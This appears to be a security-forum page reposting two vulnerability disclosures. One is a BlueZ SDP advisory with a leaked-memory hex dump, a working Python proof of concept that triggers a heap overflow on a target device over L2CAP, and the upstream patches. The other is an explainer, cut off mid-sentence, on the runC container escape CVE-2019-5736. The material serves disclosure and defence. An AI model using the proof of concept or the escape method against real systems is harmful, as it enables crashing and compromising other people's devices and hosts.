0f 00 00 00 2f 6f 72 67 2f 62 │r··o│····│··/o│rg/b│ 00000870 6c 75 65 7a 2f 68 63 69 30 00 00 00 00 00 10 00 │luez│/hci│0···│····│ 00000880 00 00 53 65 72 76 69 63 65 73 52 65 73 6f 6c 76 │··Se│rvic│esRe│solv│ 00000890 65 64 00 01 62 00 00 00 00 00 00 00 00 00 1f 00 │ed··│b···│····│····│ 000008a0 00 00 6f 72 67 2e 66 72 65 65 64 65 73 6b 74 6f │··or│g.fr│eede│skto│ 000008b0 70 2e 44 42 75 73 2e 50 72 6f 70 65 72 74 69 65 │p.DB│us.P│rope│rtie│ 000008c0 73 00 00 00 00 00 11 02 00 00 00 00 00 00 a0 29 │s···│····│····│···)│ 000008d0 41 27 aa 55 00 00 74 77 6f 72 6b 31 00 00 18 00 │A'·U│··tw│ork1│····│ 000008e0 00 00 00 00 00 00 09 00 00 00 43 6f 6e 6e 65 63 │····│····│··Co│nnec│ 000008f0 74 65 64 00 01 62 00 00 00 00 00 00 00 00 17 00 │ted·│·b··│····│····│ 00000900 00 00 6f 72 67 2e 62 6c 75 65 7a 2e 4d 65 64 69 │··or│g.bl│uez.│Medi│ 00000910 61 43 6f 6e 74 72 6f 6c 31 00 18 00 00 00 09 00 │aCon│trol│1···│····│ 00000920 00 00 43 6f 6e 6e 65 63 74 65 64 00 01 62 00 00 │··Co│nnec│ted·│·b··│ 00000930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ac0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 │····│····│····│····│ 00000ad0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 b0 2b │····│····│····│···+│ 00000ae0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 01 00 │A'·U│····│····│····│ 00000af0 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 │····│····│····│····│ 00000b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000b60 00 00 00 00 00 00 11 00 00 00 00 00 00 00 12 00 │····│····│····│····│ 00000b70 00 00 00 00 00 00 13 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000bb0 00 00 00 00 00 00 1b 00 00 00 00 00 00 00 1c 00 │····│····│····│····│ 00000bc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000bd0 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 20 00 │····│····│····│·· ·│ 00000be0 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 00 │····│··!·│····│····│ 00000bf0 00 00 00 00 00 00 23 00 00 00 00 00 00 00 24 00 │····│··#·│····│··$·│ 00000c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000c80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 00 │····│····│····│··6·│ 00000c90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ce0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 20 ca │····│····│····│·· ·│ 00000cf0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 60 d5 │@'·U│····│····│··`·│ 00000d00 3f 27 aa 55 00 00 80 3f 40 27 aa 55 00 00 00 00 │?'·U│···?│@'·U│····│ 00000d10 00 00 00 00 00 00 e0 48 40 27 aa 55 00 00 00 00 │····│···H│@'·U│····│ 00000d20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000d30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 54 │····│····│····│···T│ 00000d40 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000d50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000d70 00 00 00 00 00 00 d0 82 40 27 aa 55 00 00 80 8b │····│····│@'·U│····│ 00000d80 40 27 aa 55 00 00 a0 8c 40 27 aa 55 00 00 00 00 │@'·U│····│@'·U│····│ 00000d90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000dc0 00 00 00 00 00 00 70 a8 40 27 aa 55 00 00 50 a9 │····│··p·│@'·U│··P·│ 00000dd0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000de0 00 00 00 00 00 00 10 c6 40 27 aa 55 00 00 c0 c6 │····│····│@'·U│····│ 00000df0 40 27 aa 55 00 00 20 c8 40 27 aa 55 00 00 00 00 │@'·U│·· ·│@'·U│····│ 00000e00 00 00 00 00 00 00 60 d3 40 27 aa 55 00 00 d0 d4 │····│··`·│@'·U│····│ 00000e10 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000e20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000e90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 a2 │····│····│····│····│ 00000ea0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │A'·U│····│····│····│ 00000eb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ef0 00 00 00 00 00 00 51 00 00 00 00 00 00 00 80 e5 │····│··Q·│····│····│ 00000f00 3f 27 aa 55 00 00 2f 62 6c 75 65 74 6f 6f 74 68 │?'·U│··/b│luet│ooth│ 00000f10 2f 37 30 3a 46 33 3a 39 35 3a 37 41 3a 42 39 3a │/70:│F3:9│5:7A│:B9:│ 00000f20 43 38 2f 63 61 63 68 65 2f 30 30 3a 31 41 3a 37 │C8/c│ache│/00:│1A:7│ 00000f30 44 3a 44 41 3a 37 31 3a 31 31 2e 57 46 53 49 46 │D:DA│:71:│11.W│FSIF│ 00000f40 5a 00 00 00 00 00 21 00 00 00 00 00 00 00 01 00 │Z···│··!·│····│····│ 00000f50 00 00 17 00 00 00 18 00 00 00 19 00 00 00 30 75 │····│····│····│··0u│ 00000f60 00 00 00 00 00 00 51 00 00 00 00 00 00 00 40 e1 │····│··Q·│····│··@·│ 00000f70 41 27 aa 55 00 00 70 81 40 27 aa 55 00 00 20 00 │A'·U│··p·│@'·U│·· ·│ 00000f80 00 00 00 00 00 00 30 00 00 00 00 00 00 00 70 81 │····│··0·│····│··p·│ 00000f90 40 27 aa 55 00 00 73 76 7d 61 73 00 00 00 20 00 │@'·U│··sv│}as·│·· ·│ 00000fa0 00 00 00 00 00 00 f0 c4 40 27 aa 55 00 00 50 00 │····│····│@'·U│··P·│ 00000fb0 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000fc0 00 00 00 00 00 00 00 12 41 27 aa 55 00 00 18 00 │····│····│A'·U│····│ 00000fd0 00 00 20 00 00 00 00 00 00 00 00 00 00 00 ff ff │·· ·│····│····│····│ 00000fe0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff │····│····│····│····│ * 00001000 ff ff ff ff ff ff 08 56 4c a5 5a c8 10 00 00 │····│···V│L·Z·│···│ 0000100f Heap overflow poc: from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_heapoverflow_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 target = args['TARGET'] mtu = 65535 attrcount = 1000 # how often to request the attribute context.endian = 'big' def sdppacket(handle, attr): pkt = "" pkt += p32(handle) # handle pkt += p16(0xFFFF) # max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr pkt += p8(0x00) # Cstate len pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ pduhdr += p16(0x0000) # tid pduhdr += p16(len(pkt)) # plen return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 1)) # the attribute we want to request (multiple times) # to create the largest response possible, we request a # range of attributes at once. # for more control during exploitation, it would also be possible to request # single attributes. attr = p8(0x0A) # data type (SDP_UINT_32) attr += p16(0x0000) # attribute id start attr += p16(0xFFFE) # attribute id end sdp = sdppacket(SERVICE_REC_HANDLE, attr*attrcount) log.info("packet length: %d bytes" % len(sdp)) log.info('Triggering heap overflow...') sock.send(sdp) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_heapoverflow_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 target = args['TARGET'] mtu = 65535 attrcount = 1000 # how often to request the attribute context.endian = 'big' def sdppacket(handle, attr): pkt = "" pkt += p32(handle) # handle pkt += p16(0xFFFF) # max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr pkt += p8(0x00) # Cstate len pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ pduhdr += p16(0x0000) # tid pduhdr += p16(len(pkt)) # plen return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 1)) # the attribute we want to request (multiple times) # to create the largest response possible, we request a # range of attributes at once. # for more control during exploitation, it would also be possible to request # single attributes. attr = p8(0x0A) # data type (SDP_UINT_32) attr += p16(0x0000) # attribute id start attr += p16(0xFFFE) # attribute id end sdp = sdppacket(SERVICE_REC_HANDLE, attr*attrcount) log.info("packet length: %d bytes" % len(sdp)) log.info('Triggering heap overflow...') sock.send(sdp) If everything happens as expected, we shall get a similar output to this: [*] Creating L2CAP socket [*] Connecting to target [*] packet length: 5015 bytes [*] Triggering heap overflow... 1 2 3 4 [*] Creating L2CAP socket [*] Connecting to target [*] packet length: 5015 bytes [*] Triggering heap overflow... Patches suggested by Luiz Augusto von Dentz SDP Info leak patch: From 00d8409234302e5e372af9b4cc299b55faecb0a4 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 15:04:42 +0300 Subject: [PATCH BlueZ 1/2] sdp: Fix not checking if cstate length MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit cstate length should be smaller than cached length otherwise the request shall be considered invalid as the data is not within the cached buffer. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- src/sdpd-request.c | 74 ++++++++++++++++++++++++---------------------- 1 file changed, 39 insertions(+), 35 deletions(-) diff --git a/src/sdpd-request.c b/src/sdpd-request.c index 318d04467..deaed266f 100644 --- a/src/sdpd-request.c +++ b/src/sdpd-request.c @@ -70,9 +70,16 @@ static sdp_buf_t *sdp_get_cached_rsp(sdp_cont_state_t *cstate) { sdp_cstate_list_t *p; - for (p = cstates; p; p = p->next) - if (p->timestamp == cstate->timestamp) + for (p = cstates; p; p = p->next) { + /* Check timestamp */ + if (p->timestamp != cstate->timestamp) + continue; + + /* Check if requesting more than available */ + if (cstate->cStateValue.maxBytesSent < p->buf.data_size) return &p->buf; + } + return 0; } @@ -624,6 +631,31 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) return 0; } +/* Build cstate response */ +static int sdp_cstate_rsp(sdp_cont_state_t *cstate, sdp_buf_t *buf, + uint16_t max) +{ + /* continuation State exists -> get from cache */ + sdp_buf_t *cache = sdp_get_cached_rsp(cstate); + uint16_t sent; + + if (!cache) + return 0; + + sent = MIN(max, cache->data_size - cstate->cStateValue.maxBytesSent); + memcpy(buf->data, cache->data + cstate->cStateValue.maxBytesSent, sent); + buf->data_size += sent; + cstate->cStateValue.maxBytesSent += sent; + + SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", + cache->data_size, sent, cstate->cStateValue.maxBytesSent); + + if (cstate->cStateValue.maxBytesSent == cache->data_size) + return sdp_set_cstate_pdu(buf, NULL); + + return sdp_set_cstate_pdu(buf, cstate); +} + /* * A request for the attributes of a service record. * First check if the service record (specified by @@ -633,7 +665,6 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) { sdp_cont_state_t *cstate = NULL; - uint8_t *pResponse = NULL; short cstate_size = 0; sdp_list_t *seq = NULL; uint8_t dtd = 0; @@ -719,24 +750,8 @@ static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) buf->buf_size -= sizeof(uint16_t); if (cstate) { - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - - SDPDBG("Obtained cached rsp : %p", pCache); - - if (pCache) { - short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - - SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", - pCache->data_size, sent, cstate->cStateValue.maxBytesSent); - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max_rsp_size); + if (!cstate_size) { status = SDP_INVALID_CSTATE; error("NULL cache buffer and non-NULL continuation state"); } @@ -786,7 +801,7 @@ done: static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) { int status = 0, plen, totscanned; - uint8_t *pdata, *pResponse = NULL; + uint8_t *pdata; unsigned int max; int scanned, rsp_count = 0; sdp_list_t *pattern = NULL, *seq = NULL, *svcList; @@ -915,19 +930,8 @@ static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) } else cstate_size = sdp_set_cstate_pdu(buf, NULL); } else { - /* continuation State exists -> get from cache */ - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - if (pCache && cstate->cStateValue.maxBytesSent < pCache->data_size) { - uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max); + if (!cstate_size) { status = SDP_INVALID_CSTATE; SDPDBG("Non-null continuation state, but null cache buffer"); } -- 2.17.1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 From 00d8409234302e5e372af9b4cc299b55faecb0a4 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 15:04:42 +0300 Subject: [PATCH BlueZ 1/2] sdp: Fix not checking if cstate length MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit cstate length should be smaller than cached length otherwise the request shall be considered invalid as the data is not within the cached buffer. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- src/sdpd-request.c | 74 ++++++++++++++++++++++++---------------------- 1 file changed, 39 insertions(+), 35 deletions(-) diff --git a/src/sdpd-request.c b/src/sdpd-request.c index 318d04467..deaed266f 100644 --- a/src/sdpd-request.c +++ b/src/sdpd-request.c @@ -70,9 +70,16 @@ static sdp_buf_t *sdp_get_cached_rsp(sdp_cont_state_t *cstate) { sdp_cstate_list_t *p; - for (p = cstates; p; p = p->next) - if (p->timestamp == cstate->timestamp) + for (p = cstates; p; p = p->next) { + /* Check timestamp */ + if (p->timestamp != cstate->timestamp) + continue; + + /* Check if requesting more than available */ + if (cstate->cStateValue.maxBytesSent < p->buf.data_size) return &p->buf; + } + return 0; } @@ -624,6 +631,31 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) return 0; } +/* Build cstate response */ +static int sdp_cstate_rsp(sdp_cont_state_t *cstate, sdp_buf_t *buf, + uint16_t max) +{ + /* continuation State exists -> get from cache */ + sdp_buf_t *cache = sdp_get_cached_rsp(cstate); + uint16_t sent; + + if (!cache) + return 0; + + sent = MIN(max, cache->data_size - cstate->cStateValue.maxBytesSent); + memcpy(buf->data, cache->data + cstate->cStateValue.maxBytesSent, sent); + buf->data_size += sent; + cstate->cStateValue.maxBytesSent += sent; + + SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", + cache->data_size, sent, cstate->cStateValue.maxBytesSent); + + if (cstate->cStateValue.maxBytesSent == cache->data_size) + return sdp_set_cstate_pdu(buf, NULL); + + return sdp_set_cstate_pdu(buf, cstate); +} + /* * A request for the attributes of a service record. * First check if the service record (specified by @@ -633,7 +665,6 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) { sdp_cont_state_t *cstate = NULL; - uint8_t *pResponse = NULL; short cstate_size = 0; sdp_list_t *seq = NULL; uint8_t dtd = 0; @@ -719,24 +750,8 @@ static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) buf->buf_size -= sizeof(uint16_t); if (cstate) { - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - - SDPDBG("Obtained cached rsp : %p", pCache); - - if (pCache) { - short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - - SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", - pCache->data_size, sent, cstate->cStateValue.maxBytesSent); - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max_rsp_size); + if (!cstate_size) { status = SDP_INVALID_CSTATE; error("NULL cache buffer and non-NULL continuation state"); } @@ -786,7 +801,7 @@ done: static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) { int status = 0, plen, totscanned; - uint8_t *pdata, *pResponse = NULL; + uint8_t *pdata; unsigned int max; int scanned, rsp_count = 0; sdp_list_t *pattern = NULL, *seq = NULL, *svcList; @@ -915,19 +930,8 @@ static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) } else cstate_size = sdp_set_cstate_pdu(buf, NULL); } else { - /* continuation State exists -> get from cache */ - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - if (pCache && cstate->cStateValue.maxBytesSent < pCache->data_size) { - uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max); + if (!cstate_size) { status = SDP_INVALID_CSTATE; SDPDBG("Non-null continuation state, but null cache buffer"); } -- 2.17.1 SDP Heap Overflow patch: From 6632f256515ed4bd603a8ccb3b8bdd84fd5cc181 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 16:08:32 +0300 Subject: [PATCH BlueZ 2/2] sdp: Fix buffer overflow MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sdp_append_buf shall check if there is enough space to store the data before copying it. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- lib/sdp.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/sdp.c b/lib/sdp.c index eb408a948..84311eda1 100644 --- a/lib/sdp.c +++ b/lib/sdp.c @@ -2834,6 +2834,12 @@ void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) SDPDBG("Append src size: %d", len); SDPDBG("Append dst size: %d", dst->data_size); SDPDBG("Dst buffer size: %d", dst->buf_size); + + if (dst->data_size + len > dst->buf_size) { + SDPERR("Cannot append"); + return; + } + if (dst->data_size == 0 && dtd == 0) { /* create initial sequence */ *p = SDP_SEQ8; -- 2.17.1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 From 6632f256515ed4bd603a8ccb3b8bdd84fd5cc181 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 16:08:32 +0300 Subject: [PATCH BlueZ 2/2] sdp: Fix buffer overflow MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sdp_append_buf shall check if there is enough space to store the data before copying it. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- lib/sdp.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/sdp.c b/lib/sdp.c index eb408a948..84311eda1 100644 --- a/lib/sdp.c +++ b/lib/sdp.c @@ -2834,6 +2834,12 @@ void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) SDPDBG("Append src size: %d", len); SDPDBG("Append dst size: %d", dst->data_size); SDPDBG("Dst buffer size: %d", dst->buf_size); + + if (dst->data_size + len > dst->buf_size) { + SDPERR("Cannot append"); + return; + } + if (dst->data_size == 0 && dtd == 0) { /* create initial sequence */ *p = SDP_SEQ8; -- 2.17.1 Sursa: https://ssd-disclosure.com/index.php/archives/3743
    1 point
  10. Breaking out of Docker via runC – Explaining CVE-2019-5736 Feb 21, 2019 by Yuval Avrahami Last week (2019-02-11) a new vulnerability in runC was reported by its maintainers, originally found by Adam Iwaniuk and Borys Poplawski. Dubbed CVE-2019-5736, it affects Docker containers running in default settings and can be used by an attacker to gain root-level access on the host. Aleksa Sarai, one of runC’s maintainers, found that the same fundamental flaw exists in LXC. As opposed to Docker though, only privileged LXC containers are vulnerable. Both runC and LXC were patched and new versions were released. The vulnerability gained a lot of traction and numerous technology sites and commercial companies addressed it in dedicated posts. Here at Twistlock, our CTO John Morello wrote an excellent piece with all the relevant details and the mitigations offered by the Twistlock platform. Initially, the official exploit code wasn’t to be released publicly until 2019-02-18, in order to prevent malicious parties from weaponizing it before users have had some time to update. In the following days though, several people decided to release their own exploit code. That led the runC team to eventually release their exploit code earlier (2019-02-13) since – as they put it – “the cat was out of the bag”. This post aims to be a comprehensive technical deep dive into the vulnerability and it’s various exploitation methods. So What Is runC? RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open source tool and library. As a “low level” container runtime, runC is mainly used by “high level” container runtimes (e.g. Docker) to spawn and run containers, although it can be used as a stand-alone tool. “High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on. Procfs To understand the vulnerability, we need to go over some procfs basics. The proc filesystem is a virtual filesystem in Linux that presents information primarily about processes, typically mounted to /proc. It is virtual in a sense that it does not exist on disk. Instead, the kernel creates it in memory. It can be thought of as an interface to system data that the kernel exposes as a filesystem. Each process has its own directory in procfs, at /proc/[pid]: As shown in the image above, /proc/self is a symbolic link to the directory of the currently running process (in this case pid 177). Each process’s directory contains several files and directories with information on the process. For the vulnerability, the relevant ones are: /proc/self/exe – a symbolic link to the executable file the process is running, and ; /proc/self/fd – a directory containing the file descriptors open by the process. For example, by listing the files under /proc/self using ls /proc/self one can see that /proc/self/exe points to the ‘ls’ executable. That makes sense as the one accessing /proc/self is the ‘ls’ process that our shell spawned. The Vulnerability Let’s go over the vulnerability overview given by the runC team: The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. Those two scenarios might seem different, but both require runC to spin up a new process in a container and are implemented similarly. In both cases, runC is tasked with running a user-defined binary in the container. In Docker, this binary is either the image’s entry point when starting a new container, or docker exec’s argument when attaching to an existing container. When this user binary is run, it must already be confined and restricted inside the container, or it can jeopardize the host. In order to accomplish that, runC creates a ‘runC init’ subprocess which places all needed restrictions on itself (such as entering or setting up namespaces) and effectively places itself in the container. Then, the runC init process, now in the container, calls the execve syscall to overwrite itself with the user requested binary. This is the method used by runC both for creating new containers and for attaching a process to an existing container. The researchers who revealed the vulnerability discovered that an attacker can trick runC into executing itself by asking it to run /proc/self/exe, which is a symbolic link to the runC binary on the host. An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it. Root access in the container is required to perform this attack as the runC binary is owned by root. The next time runC is executed, the attacker will achieve code execution on the host. Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host. Why not runC init? The image above might mislead some to believe the vulnerability (i.e. tricking runC into executing itself) is redundant. That is, why can’t an attacker simply overwrite /proc/[runc-pid]/exe instead? A patch for a similar runC vulnerability, CVE-2016-9962, mitigates this kind of attack. CVE-2016-9962 revealed that the runC init process possessed open file descriptors from the host which could be used by an attacker in the container to traverse the host’s filesystem and thus break out of the container. Part of the patch for this flaw was setting the runc init process as ‘non-dumpable’ before it entering the container. In the context of CVE-2019-5736, the ‘non-dumpable’ flag denies other processes from dereferencing /proc/[pid]/exe, and therefore mitigates overwriting the runC binary through it [1]. Calling execve drops this flag though, and hence the new runC process’ /proc/[runc-pid]/exe is accessible. The Symlink Problem The vulnerability may appear to contradict the way symbolic links are implemented in Linux. Symbolic links simply hold the path to their target. For a runC process, /proc/self/exe should contain something like /usr/sbin/runc. When a symlink is accessed by a process, the kernel uses the path present in the link to find the target under the root of the accessing process. That begs the question – when a process in the container opens the symbolic link to the runC binary, why doesn’t the kernel searches for the runC path inside the container root? The answer is that /proc/[pid]/exe does not follow the normal semantics for symbolic links. Technically this might count as a violation of POSIX, but as I mentioned earlier procfs is a special filesystem. When a process opens /proc/[pid]/exe, there is none of the normal procedure of reading and following the contents of a symlink. Instead, the kernel just gives you access to the open file entry directly. Exploitation Soon after the vulnerability was reported, when no POCs were publicly released yet, I attempted to develop my own POC based on the detailed description of the vulnerability given in the LXC patch addressing it. You can find the complete POC code here. Let’s break down LXC’s description of the vulnerability: when runC attaches to a container the attacker can trick it into executing itself. This could be done by replacing the target binary inside the container with a custom binary pointing back at the runC binary itself. As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #!/proc/self/exe The ‘#!’ syntax is called shebang and is used in scripts to specify an interpreter. When the Linux loader encounters the shebang, it runs the interpreter instead of the executable. As seen in the video, the program finally executed by the loader is: interpreter [optional-arg] executable-path When the user runs something like docker exec container-name /bin/bash, the loader will recognize the shebang in the modified bash and execute the interpreter we specified – /proc/self/exe, which is a symlink to the runC binary. We can proceed to overwrite the runC binary from a separate process in the container through /proc/[runc-pid]/exe. The attacker can then proceed to write to the target of /proc/self/exe to try and overwrite the runC binary on the host. However in general, this will not succeed as the kernel will not permit it to be overwritten whilst runC is executing. Basically, we cannot overwrite the runC binary while a process is running it. On the other hand, if the runC process exits, /proc/[runc-pid]/exe will vanish and we will lose the reference to the runC binary. To overcome this, we open /proc/[runc-pid]/exe for reading in our process, which creates a file descriptor at /proc/[our-pid]/fd/3. We then wait for the runC process to exit, and proceed to open /proc/[our-pid]/fd/3 for writing, and overwrite runC. Here is the code for overwrite_runc, shortened for brevity: Let’s see some action! The exploit output shows the steps taken to overwrite runC. You can see that the runC process is running as pid 20054. The video can also be seen here. This method has one setback though – it requires an additional process to run the attacker code. Since containers are started with only one process (i.e. the Docker’s image entry point), this approach couldn’t be used to create a malicious image that will compromise the host when run. Some other POCs you might have seen that implement a similar approach are Frichetten’s and feexd’s. Shared Libraries Approach A different exploitation method is used in the official POC released by runC’s maintainers and 